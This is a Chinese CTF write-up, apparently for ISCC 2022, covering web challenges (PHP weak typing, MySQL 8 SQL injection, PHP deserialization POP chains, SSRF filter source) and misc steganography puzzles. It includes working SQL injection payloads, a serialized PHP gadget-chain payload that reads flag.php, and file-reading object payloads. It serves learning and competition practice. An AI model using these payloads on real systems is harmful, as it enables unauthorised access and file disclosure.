Web
冬奥会
解题步骤
弱比较
详细描述
题干
<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){
var_dump($info);
is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}
?>
$info[“year”]=2022,if比较的赋值,永真
0项值为0绕过array_search()函数,其他随意
payload:
?Information={"year":"a","items":[0,["1","2","3"],"1"]}
解题收获
“弱类型就是如此神奇”
Easy_sql
解题步骤
MySQL8新特性利用
详细描述
sqlmap跑得mysql数据库版本为8,利用MySQL8新特性进行绕过 select
题目说邮箱忘记了,猜测表名为emails
payload:
id=-1 union table emails limit 7,1
第七行第一条数据显示有一个压缩包文件
源码中可以看到username无任何过滤,
payload:
usernmae=1' union select 1,0x61646d696e,3#&passwd=3
解题收获
学到了mysql8的table
Pop2022
解题步骤
Road_is_Long->wakeup()(preg_match)->toString()(输出不存在的对象)->Make_a_Change->get()->Try_Work_Hard->invoke()(函数调用)->append()->include(包含flag)
详细描述
<?php
class Road_is_Long{
public $page;//Road_is_Long对象 1
public $string;//Make_a_Change对象 2
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
echo '__toString';
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}#不知道有啥用
public function __get($key){
$function = $this->effort;
return $function();
}
}
$a=new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$d=new Try_Work_Hard();
$c->effort=$d;
$b->string=$c;
$a->page=$b;
echo urlencode(serialize($a));
?>
payload:?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Bs%3A3%3A%22aaa%22%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A3%3A%22var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D
解题收获
又找出一条链子
findme
解题步骤
利用GlobIterator和splFileObject类获得flag
详细描述
根据题目提示找到源码
1、需要un2为空,un3=unserialize,un0读取文件类,un1读取目录下的文件
<?php
class a{
public $une = GlobIterator;
public $un1 = "./f*.*";
public $un2 = null;
public $un3 = "unserialize";
}
$b = new a();
echo serialize($b);
?>
根据该文件拿到flag
<?php
class a{
public $une = splFileObject;
public $un1 ="fATE_gr19ande_Or0de8r.txt";
public $un2 = null;
public $un3 = "unserialize";
}
$b = new a();
echo serialize($b);
?>
爱国敬业好青年-2
解题步骤
找到正确的表格,get发包控制change开启,找到正确的经纬度就有flag
详细描述
先看原码有一个/unser.php
跟进到下一个界面
一开始可以发现一个重影
f12能看到是两个表格,一真一假
错误的表单无法提交,点击是会弹窗
在提交表单时有两种情况
查看原码
会调用GET和POST方法访问chage界面
可以看出一个是open一个是close,这一点f12查看网络也能发现
那么猜测环境要在open的情况下提交经纬度才能进行下一步
为了方便操作不让题目close,直接采用bp一个一个试
发现经纬度就是天安门广场的
输入得到flag
解题收获
真假表格
f12看看网络有没有偷偷发包
这是一道代码审计题
找到http://59.110.159.206:8040/static/code.txt
表情包编码(base100编码)
解密得到
def geneSign():
if(control_key==1):
return render_template("index.html")
else:
return "You have not access to this page!"
def check_ssrf(url):
hostname = urlparse(url).hostname
#域名
try:
if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
raise BaseException("url format error")
if re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if judge_ip(hostname):
return True
return False, "You not get the right clue!"
else:
ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
if is_inner_ipaddress(ip_address):
return False,"inner ip address attack"
else:
return False, "You not get the right clue!"
except BaseException as e:
return False, str(e)
except:
return False, "unknow error"
def ip2long(ip_addr):
return struct.unpack("!L", socket.inet_aton(ip_addr))[0]
def is_inner_ipaddress(ip):
ip = ip2long(ip)
print(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24
def waf1(ip):
forbidden_list = [ '.', '0', '1', '2', '7']
for word in forbidden_list:
if ip and word:
if word in ip.lower():
return True
return False
def judge_ip(ip):
if(waf1(ip)):
return Fasle
else:
addr = addr.encode(encoding = "utf-8")
ipp = base64.encodestring(addr)
ipp = ipp.strip().lower().decode()
if(ip==ipp):
global control_key
control_key = 1
return True
else:
return False
Misc
单板小将苏翊鸣
解题步骤
改图片高度得到二维码,扫码回答问题
详细描述
010editor更改图片高度
扫码后unicode解码
在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?
15个牌9金4银2铜
15942为压缩包密码
解压得到flag
解题收获
中国NB!!!
2022冬奥会
解题步骤
改高,unicode解码,得到密码解压得到flag
详细描述
修改高度
翻译:冰墩墩的小伙伴经常被人冷落,你知道它的原型是什么吗?
吉祥物(压缩包密码)为灯笼,解压得到flag
解题收获
中国还是NB!!!
隐秘的信息
解题步骤
lsb三0能发现一段hex,转二进制去头即可食用
详细描述
压缩包密码为题干的base64解密
解出来的图片lsb分析能看到
直接hex转文本是一堆乱码
但是转二进制时细看可以发现
刚好是ISCC,删除前面多余的数字再通过二进制转文本就能得到flag
解题收获
去了头都能吃
降维打击
解题步骤
foremost接zsteg加上二次元就有flag了
详细描述
foremost -T分解得到两张图片
zsteg -a 分析发现还有一张png
zsteg -e b1,r,lsb,yx 00000567.png ->res.png
根据图片为《魔女之旅》的人物搜到《魔女之旅》文字破解·印刷体
大写,四个一组,用
-
隔开
解题收获
看到图片直接梭,所有工具一把梭
藏在星空中的诗-1
解题步骤
ps打开psd发现有两个图层,更改完透明度得到排列顺序(压缩包密码),解密拿到加密映射表,对应出来既是flag
具体描述
psd改透明度
讲五段星星按13524的顺序排列得到压缩包密码
解压得到哦excel表格
映射1-5得到flag
解题收获
密文当密码可还行,13524当密码试了老半天了
映射的话,CTRL+F永远滴神
藏在星空中的诗-2
解题步骤
因为是一套题,第一题的密码表肯定是有用的,找到规律解密就出来了
具体描述
一开始先转的ascii,没规律的哇
上个厕所,脑洞大开的哇!
根据第一题转字符后无视前四位
然后根据unicode编码最后一位获取十六进制值
例:
英文 | Unicode | 最后一位 |
---|---|---|
P | U+2734 | 4 |
U | U+1F7C9 | 9 |
即 原文地址:https://blog.csdn.net/qaq517384 版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。✴